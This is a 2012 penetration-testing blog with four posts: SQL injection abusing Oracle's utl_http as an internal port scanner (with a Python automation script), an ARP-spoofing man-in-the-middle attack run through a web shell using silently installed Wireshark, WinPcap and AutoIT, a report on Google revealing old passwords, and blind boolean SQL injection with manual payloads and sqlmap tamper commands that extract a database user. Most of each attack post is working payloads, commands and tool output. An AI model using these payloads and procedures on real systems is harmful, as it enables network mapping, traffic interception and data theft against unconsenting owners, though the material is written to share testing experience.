Monday, December 10, 2012

SQL Injection - Oracle as a port scanner



Have you ever used an SQL Injection flaw to perform a port scanner?
It's known that common databases such as Oracle and SQLServer have special packages that can perform HTTP connections, build sockets, get host names and other information about networks.
How about to use such resources to perform a port scanner exploiting a SQL injection flaw?
It's useful to discover other assets in the network and to help us to map the environment.
In our case, the DBMS was Oracle 10g. Usually we use the package URL_HTTP package to perform out of band SQL injection attack, however we are going to use it to perform a port scanner.

Let's take a look at a practical example performed on a penetration testing:

http://target/index_content.php?id=163447||utl_http.request('10.1.0.141:445')--

In this case, the value of the vulnerable parameter id is concatenated with the result of utl_http.request.

We can manipulate the IP address as well the ports numbers.

When the connection was well succeeded and the protocol probably wasn't HTTP we got an error message:
 
ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1577 ORA-29263: HTTP protocol error ORA-06512: at line 1

On the other hand if the connection wasn't succeeded we got this error:
 
ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1577 ORA-12570: TNS:packet reader failure ORA-06512: at line 1

The last error means that we couldn't reach the host and the port we have tried.

Anyway, independent on the error messages we can perform it in a blind way because when you try to reach a host and a port that doesn't exist or it's restricted by some firewall policy, the response from database usually is going to take longer than a normal request.

A very simple Python script to automate it:

import urllib
import urllib2
import sys

if len(sys.argv) < 5:
    print "please inform the <host> <start port> <end port> <timeout>"
    sys.exit(0)
else:
    host = sys.argv[1]
    start_port = int(sys.argv[2])
    end_port   = int(sys.argv[3])
    timeout    = int(sys.argv[4])

user_agent = "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))"
headers = {'User-Agent' : user_agent }

while start_port <= end_port:
        url = "http://target/index_content.php?id=163447||utl_http.request('" + host + ":" + str(start_port) + "')--"
        req = urllib2.Request(url,None,headers)
        try:
                res = urllib2.urlopen(req,None,timeout)
                print "Host: " + host + " Port: " + str(start_port) + " OPENNED"
        except Exception, e:
                print "Host: " + host + " Port: " + str(start_port) + " CLOSED/NOT REACHED"
        start_port = start_port + 1

Observe that Oracle applied some ACLs to UTL_HTTP and other network packages in Oracle 11g and there is hardening recommendation to apply ACLs to all those packages.

Conclusion:

SQL injection attack is useful not only to retrieve data but to perform a port scanner in order to help to discovery other assets and services, using the DBMS network functions.

Wednesday, November 21, 2012

Man in the middle attack through a web shell



Hello all.

Let’s talk today about Man in the middle attack. No, this isn’t a post talking about what it is and how to perform a MITM attack. The proposal of this blog is to share experience with you, then most of the posts (at least until now) are about things that happened in real environments. Recently performing a penetration testing it was possible to get a web shell through a combination of vulnerabilities.  That’s good… a web shell right? But how about to going deep and explore more of the environment? Yes, if you thought about reverse web shell you are right, but, in this case, I couldn’t establish an outbound connection (this is a subject for another post). I did a lot of things in such environment and one of the things done was a MITM attack through a web shell. Let’s go to some important details. First of all, it was a Windows box. There are some tools you can perform a MITM attack on Windows box such as Cain & Abel, but remember, we had a web shell and this tool is a GUI tool (forgive me if there is a command line version). There is an old command line tool called winarp_sk, which is still available and functional to perform an arpspoofing attack. This tool seemed to be great for my case. You can find the source as well the executable to download, but it requires WinPcap to work (it uses packet.dll). This is the other problem: how to install WinPcap through command line. To perform a MITM we need a sniffer. Wireshark (tshark command line) was really good. And last but not least: to do all these things you need a user with high privileges (e.g. Administrator, System). In our case, (un)fortunately the user running the web server was Local System.  Let’s check the anatomy of the attack.

      1)     Upload winarp_sk.exe

With the web shell was possible to upload the winarp_sk.exe file. I also checked it in Virus Total to see how some AV reacted against the file. The results can be verified here.

      2)      Upload Wireshark’s installer

When you install Wireshark usually it asks for the WinPcap installation, however, when you are installing it on a silent mode it doesn’t install WinPcap.
You can run the Wireshark’s installer in silent mode.
wireshark-win32-1.2.7.exe /S /desktopicon=no /quicklaunchicon=no /D=path-to-install
/S specifies it’s going to be in silent mode
/Desktopicon=no it doesn’t create a desktop icon
/quilaunchicon=no it doesn’t create a quick launch icon

3)      Upload the installer of WinPcap x86. 

This was a tricky part of the thing. I looked at the documentation and there is no way to install it in a silent mode. Then we needed some interaction, but, we didn’t have a reverse web shell (e.g. using VNC ). There were two options: build a program in C and use the sendkey feature or use some program that does it for us. The solution: AutoIT. According to its home page, AutoIT is a freeware BASIC-like scripting language designed for automation the Windows GUI and general scripting. You can use it to automate keystrokes, mouse movement and window/control manipulation.  You can create your script and execute it with AutoIT  Run Script tool or you can compile it to an independent executable (no, you don’t need any runtime libraries!). Thanks to Brian Desmond, there is a script available on the internet to install Winpcap silently:

; ==========================================================================
; NAME: WinPcap AutoIt Installer
;
; AUTHOR: Brian Desmond, brian@briandesmond.com
; DATE  : 11/28/2009
; ==========================================================================
#RequireAdmin

Run("WinPcap_4_1_1.exe")
WinWaitActive("WinPcap 4.1.1 Setup")
Send("!n")
WinWaitActive("WinPcap 4.1.1 Setup", "Welcome to the WinPcap")
Send("!n")
WinWaitActive("WinPcap 4.1.1 Setup", "License Agreement")
Send("!a")
WinWaitActive("WinPcap 4.1.1 Setup", "Installation options")
ControlClick("WinPcap 4.1.1 Setup", "Installation options", "[CLASS:Button; INSTANCE:2]") ; hack to click the install button
WinWaitActive("WinPcap 4.1.1 Setup", "Completing the WinPcap")
Send("!f")

      4)    Configure Windows to forward packets (alter registry key)

Activate IP forward

reg add HKLM\System\CurrentControlSet\Services\Tcpip\Parameters /v IPEnableRouter /d 1 /t REG_DWORD /f

Deactivate IP forward

reg add HKLM\System\CurrentControlSet\Services\Tcpip\Parameters /v IPEnableRouter /d 0 /t REG_DWORD /f

      Note that after the configuration, Windows needed be to be restarted. There were some things we needed to pay attention here:  a) could we perform shutdown? Sometimes policies applied on Windows restrict this privilege to only a specific user. b) if we could perform shutdown, was the web server going to restart automatically? We needed to check it. Unfortunately the web server (JBOSS) was programmed to not start automatically. Then it came in hand SC utility to change the service and make it start automatically (even it’s a very suspicious activity rebooting a server but we needed it).  

      5)      Performing the arpspoof attack

When you call winarp_sk you need to provide one parameter informing from which interface you would like to send the arp packets. In our case, we didn’t have a interactive shell. To make it works we needed to echo the interface number:
echo 1|winarp_sk.exe -m 2 -s 172.31.10.104 -d 172.31.10.2 -c 10

Things to observe: the option –c specifies how many packets you want to send to the target. If you don’t provide the number winarp_sk keeps sending packets until you kill the process. Taskkill was our friend in this case.
 
      6)      Capturing packets

Tshark is a command line utility that comes with Wireshark. Then it was possible to launch it through our web shell:

tshark -i 1 -c 300 -w 300packets.pcap

After the packets being captured, we downloaded the file and examine the contents of the file.

      7)      Uninstall Wireshark + WinPcap

Here we used the same logic: AutoIT to make the uninstalation process. 

;==========================================================================
; NAME: Wireshark + WinPcap uninstaller (AutoIT)
;
; AUTHOR: Ismael Gonçalves, http://sharingsec.blogspot.com
; DATE  : 11/21/2012
; ==========================================================================

Run("C:\Program Files\Wireshark\uninstall.exe")
WinWaitActive("Wireshark 1.2.7 (32-bit) Uninstall")
Send("!n")
WinWaitActive("Wireshark 1.2.7 (32-bit) Uninstall")
Send("!n")
WinWaitActive("Wireshark 1.2.7 (32-bit) Uninstall")
Send("{DOWN}"); set the option to uninstall ALL (including winpcap!)
Send("!u")
WinWaitActive("Wireshark 1.2.7 (32-bit) Uninstall")
Sleep(10000);needed to wait for uninstallation proccess
WinWaitActive("WinPcap 4.1.1 Uninstall")
Send("!u")
WinWaitActive("WinPcap 4.1.1 Uninstall")
Send("!f")
WinWaitActive("Wireshark 1.2.7 (32-bit) Uninstall")
Send("!n")
WinWaitActive("Wireshark 1.2.7 (32-bit) Uninstall")
Send("!f")

Conclusion:

Winarp_sk.exe despite its old version is still functional. AutoIT can help to automate tasks on Windows environment and it showed itself very handy in our case. You don’t need an interactive shell to perform a man-in-the-middle attack.

Monday, November 12, 2012

Is Google exposing our old passwords?



Have you ever noticed Google telling you “your password was changed X days ago” when you type your old password?


And how about when you type several old passwords and Google keeps telling you the same message?

That’s the security feature to tell the users on Google Accounts interface they changed their password sometimes ago, when they type an old password. Google keeps telling you this even if you:
1)      changed your password 3 months ago
2)      type all your old passwords (at least mine)
3)      access your account everyday several times a day

The problem here is a brute force attack could expose passwords used by users before. If we consider there is a practice in which users have the same password for different services on the internet (and most of the time they have a pattern to create passwords, changing only one letter or number), the fact that an attacker can guess an password used by somebody by brute forcing the Google Accounts  service could help him to deliver a more targeted attack.
Consider this type of attack on a high profile account.  Password is very personal and sensitive information.
I wrote to Google to talk about this and Google Security Team answered me right away on the next day.
Some snippet from the email:

we do have to balance security with usability and the safety of
our users. If we were to just give a generic error message a user may not
realize that their password was changed by an attacker, this could prolong
the period that an attacker has access to their account. Our hope is that
if a user sees the current error message they will have a better chance of
understanding why their password doesn't work (it was recently changed and
not by them).

Services like Yahoo and Hotmail give a generic error message if you type some of your previous password used. Google also says they have additional security controls against brute force that would mitigate the risk. 

I think it’s a really valid approach to tell users they changed their passwords but it’s possible to do it sending a SMS (yes, not so cheap!) or an email to your alternative email informed on your Google’s account.

And you, what do you think about this? Leave your comments.

Saturday, November 10, 2012

SQLMap tool is your friend

Hello all!

For the most of you there is nothing new talking about SQL Injection and exploitation techniques.
As I friend of mine says: "SQL Injection is the pop star of the vulnerabilities".
What I will show here is how SQLMap can help you to exploit tricky SQL injection vulnerabilities.
Just the other day performing a penetration testing on a web application I’ve found a SQL injection flaw.
In order to find such vulnerability I was only browsing the application (doing some recognition) and by changing the ID parameter in the follow URL it was enough to give me some clue about the flaw:

https://target.com.br/index.php?a=info&ID=32'

Result:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Well, I was happy to have found it and I started the process to find a way to exploit it. First of all I decided for the UNION technique exploitation, then I tried to find how many columns there was in the SQL select statement:

https://target.com.br/index.php?a=info&ID=32 ORDER BY 2-- (result true)
https://target.com.br/index.php?a=info&ID=32 ORDER BY 3-- (result true)
https://target.com.br/index.php?a=info&ID=32 ORDER BY 4-- (error)

I’ve found out there were 3 columns in the select statement.  To confirm the UNION possibility I’ve tried:

https://target.com.br/index.php?a=info&ID=32 UNION SELECT 1,1,1--

Not so happy! Even the query executed with success the application took the same parameter and used it in other query before give me some results. Then I got this (weird/wonderful) error:

sql: SELECT ID (…) AS FK_ARQUIVO FROM TB_INFO WHERE ID = 32 UNION SELECT 1,1,1--
message: The used SELECT statements have a different number of columns
ErrorNo: 1222

Ok. There were three possibilities to exploit this SQL injection flaw: using a out of band channel technique (INTO OUTFILE clause) , using an error based exploitation or to perform a Boolean blind SQL injection by inference. As the database was MySql and the PHP magic_quotes  was turned on (escaping all the single quotes necessary when you want INTO OUTFILE clause) I decided to check for the error based and Boolean technique.
I tried several error based entries but in some way the application filtered all the error messages responses (unlikely the wonderful error message I got previously.) and I was blind!
I moved to the Boolean technique. The first testing was performed to check if the MySql version was 5.x, extracting the first character of the string returned by the version() function and comparing it with the number 5:

https://target.com.br/index.php?a=info&ID =32 AND MID(  (VERSION()),1,1  )=5--

I’ve got a blank page. I moved further and I tried the number 4:

https://target.com.br/index.php?a=info&ID =32 AND MID(  (VERSION()),1,1  )=4--

Then I got the result expected as if I have requested:

https://target.com.br/index.php?a=info&ID =32

It was possible to perform the Boolean attack and the database was MySql version 4.x.
With this Boolean technique you can perform the data extraction but as you notice, it’s a lot of work. You have to check for every possible character and position by position. Now it’s time for SQLMap. From the SQLMap Documentation about the Boolean technique:

"Boolean-based blind SQL injection, also known as inferential SQL injection: sqlmap replaces or appends to the affected parameter
 in the HTTP request, a syntatically valid SQL statement string containing a SELECT sub-statement, or any other SQL statement whose
 the user want to retrieve the output. For each HTTP response, by making a comparison between the HTTP response headers/body with
the original request, the tool inference the output of the injected statement character by character. Alternatively, the user can
provide a string or regular expression to match on True pages. The bisection algorithm implemented in sqlmap to perform this technique
is able to fetch each character of the output with a maximum of seven HTTP requests. Where the output is not within the clear-text plain
charset, sqlmap will adapt the algorithm with bigger ranges to detect the output."

Not bad! The tool will try to fetch each character with a maximum of seven HTTP requests. Okay. Let’s do it! 

./sqlmap.py -u https://target.com.br/index.php?a-info&ID=32 -p ID --level=5 --dbms=m
ysql --technique=b --current-user –v 3 --user -agent=Mozilla 5.0 --string=District

The detailed parameters:

-u: target URL including the vulnerable parameter
-p: to specify the vulnerable parameter, the SQLMap will try to inject in it.
--level:  the level of the attack sophistication needed (default 1)
--dbms: to tell SQLMap which is the DBMS
--technique: to set which technique we would like to use
--current-user: to extract the current user when performing the SQL Injection attack
--user-agent: to specify an user agent string (default is sqlmap/1.0-dev (http//sqlmap.org))
-v: verbose level (in this case it shows only the payloads)
--string: to specify an unique string presents in the raw response when a condition is true

And this is the output from the tool:
[16:04:26] [INFO] testing connection to the target url
[16:04:28] [INFO] testing if the provided string is within the target URL page content
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=32 AND 9992=9992
    Vector: AND [INFERENCE]
---
[16:04:29] [INFO] testing MySQL
[16:04:29] [PAYLOAD] 32 AND QUARTER(NULL) IS NULL
[16:04:31] [WARNING] reflective value(s) found and filtering out
[16:04:31] [INFO] confirming MySQL
[16:04:31] [PAYLOAD] 32 AND USER()=USER()
[16:04:33] [PAYLOAD] 32 AND ISNULL(TIMESTAMPADD(MINUTE,1,1))
[16:04:35] [PAYLOAD] 32 AND DATABASE() LIKE SCHEMA()
[16:04:36] [PAYLOAD] 32 AND STRCMP(LOWER(CURRENT_USER()),UPPER(CURRENT_USER()))
=0
[16:04:37] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.x, PHP 5.2.2
back-end DBMS: MySQL < 5.0.0
[16:04:37] [INFO] fetching current user
[16:04:37] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[16:04:37] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) > 64
[16:04:39] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) > 32
[16:04:40] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) > 16
[16:04:41] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) > 8
[16:04:42] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) > 4
[16:04:44] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) > 2
[16:04:45] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
1,1)) > 1
[16:04:46] [INFO] retrieved:
[16:04:46] [DEBUG] performed 7 queries in 8 seconds
[16:04:46] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' and/or switch '--hex'
current user:   None
[*] shutting down at 16:04:46

As you can see in the results, the tool couldn’t extract anything. How it would be possible? What was wrong? After some investigation I’ve found out what happened. The perform a faster data extraction SQLMap uses an algorithm checking if the character being under test is greater of less than certain value:

Payload: 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 64

In this case it tests if the first character code is greater than 64 (ASCII code table for @ symbol). Then the tool manipulates these numbers until figure out which is the right character and move forward.
Nothing was wrong with this logic. I decided for a manual exploitation using the same technique to observe easily the responses from the web server. And there was there! When I tried the payload mentioned above I got this error message:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '; 64' at line 1

Can you see something wrong in this message? What’s that? Did I type semicolon instead of greater symbol? No, I didn’t but, the application in some way was changing the greater symbol for the semicolon (near '; 64' at line 1) making the SQL statement invalid.  I’ve found the problem and how about the solution? To perform the same technique in a different way we could use BETWEEN clause. Instead of “> 64”, it would be “BETWEEN 64 AND 128”. Then the request would be:

https://target/index.php?a=info&ID=32%20AND%20ORD%28MID%28%28IFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29,0x20%29%29,1,1%29%29%20BETWEEN%20%2064%20AND%20128

However it’s still a lot of work to perform this task, character by character. AS SQLMap is a very handy tool you have the possibility to use tamper scripts to modify the payloads. Thus you can customize your payloads performing character encoding, inserting comments between the requests, change the letter capital substitution and write evasive payloads. In the tamper directory you find more than 30 tamper scripts ready for you. One of those scripts is the between script. Look at the comment inside the script:

Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
    Example:
        * Input: 'A > B'
        * Output: 'A NOT BETWEEN 0 AND B'

I’ve decided to give a try:

./sqlmap.py -u https://target.com.br/index.php?a-info&ID=32 -p ID --level=5 --dbms=m
ysql --technique=b --current-user –v 3 --user -agent=Mozilla 5.0 --string=District --tamper=between
That’s the output from the tool:
[16:34:03] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
[16:34:13] [PAYLOAD] 32 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),
7,1)) NOT BETWEEN 0 AND 1
[16:34:15] [INFO] retrieved: target@dbms1001

Conclusion:

SQLmap is a very handy tool that can help the testers to perform their tasks with good algorithms, techniques and customization level. Before run SQLMap try to find out how the application behaves, which parameters are vulnerable, which is the DBMS version, if there is intrusion prevention mechanisms etc.